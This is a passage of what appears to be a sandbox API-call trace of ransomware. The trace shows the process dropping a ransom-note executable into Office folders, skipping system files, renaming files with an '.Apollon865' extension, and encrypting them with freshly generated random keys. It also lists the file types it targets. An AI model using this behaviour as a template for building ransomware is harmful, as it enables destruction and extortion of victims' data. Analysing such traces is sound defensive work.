	[0066.541] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0066.541] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0066.541] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbc3c50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3fbc3c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0066.541] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0066.541] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbc3c50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3fbc3c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0066.541] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0066.541] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe70
	[0066.541] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES") returned="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES"
	[0066.541] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afdc8 | out: hHeap=0x580000) returned 1
	[0066.541] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe68 | out: hHeap=0x580000) returned 1
	[0066.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES") returned 50
	[0066.541] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES") returned="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES"
	[0066.541] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0066.542] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0066.547] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0066.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3fbc3c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3fbc3c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0066.547] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.547] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0066.547] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0066.547] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3fbc3c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3fbc3c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.547] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.548] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0066.548] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0066.548] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0066.548] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbc3c50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3fbc3c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0066.548] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0066.548] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc114b600, ftCreationTime.dwHighDateTime=0x1c307de, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc114b600, ftLastWriteTime.dwHighDateTime=0x1c307de, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SOLVSAMP.XLS", cAlternateFileName="")) returned 1
	[0066.548] lstrcmpiW (lpString1="SOLVSAMP.XLS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.548] lstrcmpiW (lpString1="SOLVSAMP.XLS", lpString2="Apollon865.txt.exe") returned 1
	[0066.548] lstrcmpiW (lpString1="SOLVSAMP.XLS", lpString2=".") returned 1
	[0066.548] lstrcmpiW (lpString1="SOLVSAMP.XLS", lpString2="..") returned 1
	[0066.548] lstrcmpiW (lpString1="SOLVSAMP.XLS", lpString2="windows") returned -1
	[0066.548] lstrcmpiW (lpString1="SOLVSAMP.XLS", lpString2="bootmgr") returned 1
	[0066.548] lstrcmpiW (lpString1="SOLVSAMP.XLS", lpString2="temp") returned -1
	[0066.548] lstrcmpiW (lpString1="SOLVSAMP.XLS", lpString2="pagefile.sys") returned 1
	[0066.548] lstrcmpiW (lpString1="SOLVSAMP.XLS", lpString2="boot") returned 1
	[0066.548] lstrcmpiW (lpString1="SOLVSAMP.XLS", lpString2="ids.txt") returned 1
	[0066.548] lstrcmpiW (lpString1="SOLVSAMP.XLS", lpString2="ntuser.dat") returned 1
	[0066.548] lstrcmpiW (lpString1="SOLVSAMP.XLS", lpString2="perflogs") returned 1
	[0066.548] lstrcmpiW (lpString1="SOLVSAMP.XLS", lpString2="MSBuild") returned 1
	[0066.548] lstrlenW (lpString="SOLVSAMP.XLS") returned 12
	[0066.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*") returned 52
	[0066.548] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES"
	[0066.548] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd58 | out: hHeap=0x580000) returned 1
	[0066.548] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0066.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES") returned 50
	[0066.548] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES"
	[0066.548] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0066.549] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0066.562] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0066.562] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3fbe9db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3fbe9db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0066.562] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.562] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0066.562] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0066.562] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3fbe9db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3fbe9db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.562] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.562] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0066.562] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0066.562] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0066.562] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbe9db0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3fbe9db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0066.562] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0066.562] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49110e00, ftCreationTime.dwHighDateTime=0x1bf97c1, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49110e00, ftLastWriteTime.dwHighDateTime=0x1bf97c1, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Currency Rates.iqy", cAlternateFileName="MSNMON~1.IQY")) returned 1
	[0066.562] lstrcmpiW (lpString1="MSN MoneyCentral Investor Currency Rates.iqy", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.562] lstrcmpiW (lpString1="MSN MoneyCentral Investor Currency Rates.iqy", lpString2="Apollon865.txt.exe") returned 1
	[0066.562] lstrcmpiW (lpString1="MSN MoneyCentral Investor Currency Rates.iqy", lpString2=".") returned 1
	[0066.562] lstrcmpiW (lpString1="MSN MoneyCentral Investor Currency Rates.iqy", lpString2="..") returned 1
	[0066.562] lstrcmpiW (lpString1="MSN MoneyCentral Investor Currency Rates.iqy", lpString2="windows") returned -1
	[0066.562] lstrcmpiW (lpString1="MSN MoneyCentral Investor Currency Rates.iqy", lpString2="bootmgr") returned 1
	[0066.562] lstrcmpiW (lpString1="MSN MoneyCentral Investor Currency Rates.iqy", lpString2="temp") returned -1
	[0066.562] lstrcmpiW (lpString1="MSN MoneyCentral Investor Currency Rates.iqy", lpString2="pagefile.sys") returned -1
	[0066.562] lstrcmpiW (lpString1="MSN MoneyCentral Investor Currency Rates.iqy", lpString2="boot") returned 1
	[0066.562] lstrcmpiW (lpString1="MSN MoneyCentral Investor Currency Rates.iqy", lpString2="ids.txt") returned 1
	[0066.563] lstrcmpiW (lpString1="MSN MoneyCentral Investor Currency Rates.iqy", lpString2="ntuser.dat") returned -1
	[0066.563] lstrcmpiW (lpString1="MSN MoneyCentral Investor Currency Rates.iqy", lpString2="perflogs") returned -1
	[0066.563] lstrcmpiW (lpString1="MSN MoneyCentral Investor Currency Rates.iqy", lpString2="MSBuild") returned 1
	[0066.563] lstrlenW (lpString="MSN MoneyCentral Investor Currency Rates.iqy") returned 44
	[0066.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*") returned 52
	[0066.563] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ"
	[0066.563] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0066.563] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd28 | out: hHeap=0x580000) returned 1
	[0066.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned 49
	[0066.563] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ"
	[0066.563] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0066.563] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0066.569] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0066.569] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fbe9db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3fbe9db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0066.569] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.569] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0066.569] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0066.569] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fbe9db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3fbe9db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.570] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.570] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0066.570] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0066.570] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0066.570] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCSBAR.POC", cAlternateFileName="")) returned 1
	[0066.570] lstrcmpiW (lpString1="ACCSBAR.POC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.570] lstrcmpiW (lpString1="ACCSBAR.POC", lpString2="Apollon865.txt.exe") returned -1
	[0066.570] lstrcmpiW (lpString1="ACCSBAR.POC", lpString2=".") returned 1
	[0066.570] lstrcmpiW (lpString1="ACCSBAR.POC", lpString2="..") returned 1
	[0066.570] lstrcmpiW (lpString1="ACCSBAR.POC", lpString2="windows") returned -1
	[0066.570] lstrcmpiW (lpString1="ACCSBAR.POC", lpString2="bootmgr") returned -1
	[0066.570] lstrcmpiW (lpString1="ACCSBAR.POC", lpString2="temp") returned -1
	[0066.570] lstrcmpiW (lpString1="ACCSBAR.POC", lpString2="pagefile.sys") returned -1
	[0066.570] lstrcmpiW (lpString1="ACCSBAR.POC", lpString2="boot") returned -1
	[0066.570] lstrcmpiW (lpString1="ACCSBAR.POC", lpString2="ids.txt") returned -1
	[0066.570] lstrcmpiW (lpString1="ACCSBAR.POC", lpString2="ntuser.dat") returned -1
	[0066.570] lstrcmpiW (lpString1="ACCSBAR.POC", lpString2="perflogs") returned -1
	[0066.570] lstrcmpiW (lpString1="ACCSBAR.POC", lpString2="MSBuild") returned -1
	[0066.570] lstrlenW (lpString="ACCSBAR.POC") returned 11
	[0066.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*") returned 51
	[0066.571] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML.Apollon865") returned 67
	[0066.571] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.571] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1034) returned 1
	[0066.571] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0066.572] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0066.572] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0066.572] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0066.573] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.573] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.573] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x710, lpName=0x0) returned 0x154
	[0066.574] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x710) returned 0x100000
	[0066.575] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0066.576] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.576] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.576] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.576] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.577] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.577] CloseHandle (hObject=0x154) returned 1
	[0066.577] CloseHandle (hObject=0x15c) returned 1
	[0066.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0066.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0066.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0066.577] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xb95a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AD98.POC", cAlternateFileName="")) returned 1
	[0066.577] lstrcmpiW (lpString1="AD98.POC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.577] lstrcmpiW (lpString1="AD98.POC", lpString2="Apollon865.txt.exe") returned -1
	[0066.577] lstrcmpiW (lpString1="AD98.POC", lpString2=".") returned 1
	[0066.577] lstrcmpiW (lpString1="AD98.POC", lpString2="..") returned 1
	[0066.577] lstrcmpiW (lpString1="AD98.POC", lpString2="windows") returned -1
	[0066.577] lstrcmpiW (lpString1="AD98.POC", lpString2="bootmgr") returned -1
	[0066.577] lstrcmpiW (lpString1="AD98.POC", lpString2="temp") returned -1
	[0066.577] lstrcmpiW (lpString1="AD98.POC", lpString2="pagefile.sys") returned -1
	[0066.577] lstrcmpiW (lpString1="AD98.POC", lpString2="boot") returned -1
	[0066.578] lstrcmpiW (lpString1="AD98.POC", lpString2="ids.txt") returned -1
	[0066.578] lstrcmpiW (lpString1="AD98.POC", lpString2="ntuser.dat") returned -1
	[0066.578] lstrcmpiW (lpString1="AD98.POC", lpString2="perflogs") returned -1
	[0066.578] lstrcmpiW (lpString1="AD98.POC", lpString2="MSBuild") returned -1
	[0066.578] lstrlenW (lpString="AD98.POC") returned 8
	[0066.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML") returned 56
	[0066.578] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="AD98.POC" | out: lpString1="AD98.POC") returned="AD98.POC"
	[0066.578] lstrlenW (lpString="AD98.POC") returned 8
	[0066.578] lstrlenW (lpString="Apollon865") returned 10
	[0066.578] lstrlenW (lpString=".dll") returned 4
	[0066.578] lstrcmpiW (lpString1="AD98.POC", lpString2=".dll") returned 1
	[0066.578] lstrlenW (lpString=".lnk") returned 4
	[0066.578] lstrcmpiW (lpString1="AD98.POC", lpString2=".lnk") returned 1
	[0066.578] lstrlenW (lpString=".ini") returned 4
	[0066.578] lstrcmpiW (lpString1="AD98.POC", lpString2=".ini") returned 1
	[0066.578] lstrlenW (lpString=".sys") returned 4
	[0066.578] lstrcmpiW (lpString1="AD98.POC", lpString2=".sys") returned 1
	[0066.578] lstrlenW (lpString="AD98.POC") returned 8
	[0066.578] lstrlenW (lpString="bak") returned 3
	[0066.578] lstrcmpiW (lpString1="POC", lpString2="bak") returned 1
	[0066.578] lstrlenW (lpString="ba_") returned 3
	[0066.578] lstrcmpiW (lpString1="POC", lpString2="ba_") returned 1
	[0066.578] lstrlenW (lpString="dbb") returned 3
	[0066.578] lstrcmpiW (lpString1="POC", lpString2="dbb") returned 1
	[0066.578] lstrlenW (lpString="vmdk") returned 4
	[0066.578] lstrcmpiW (lpString1=".POC", lpString2="vmdk") returned -1
	[0066.578] lstrlenW (lpString="rar") returned 3
	[0066.578] lstrcmpiW (lpString1="POC", lpString2="rar") returned -1
	[0066.578] lstrlenW (lpString="zip") returned 3
	[0066.578] lstrcmpiW (lpString1="POC", lpString2="zip") returned -1
	[0066.578] lstrlenW (lpString="tgz") returned 3
	[0066.578] lstrcmpiW (lpString1="POC", lpString2="tgz") returned -1
	[0066.578] lstrlenW (lpString="vbox") returned 4
	[0066.578] lstrcmpiW (lpString1=".POC", lpString2="vbox") returned -1
	[0066.578] lstrlenW (lpString="vdi") returned 3
	[0066.579] lstrcmpiW (lpString1="POC", lpString2="vdi") returned -1
	[0066.579] lstrlenW (lpString="vhd") returned 3
	[0066.579] lstrcmpiW (lpString1="POC", lpString2="vhd") returned -1
	[0066.579] lstrlenW (lpString="vhdx") returned 4
	[0066.579] lstrcmpiW (lpString1=".POC", lpString2="vhdx") returned -1
	[0066.579] lstrlenW (lpString="avhd") returned 4
	[0066.579] lstrcmpiW (lpString1=".POC", lpString2="avhd") returned -1
	[0066.579] lstrlenW (lpString="db") returned 2
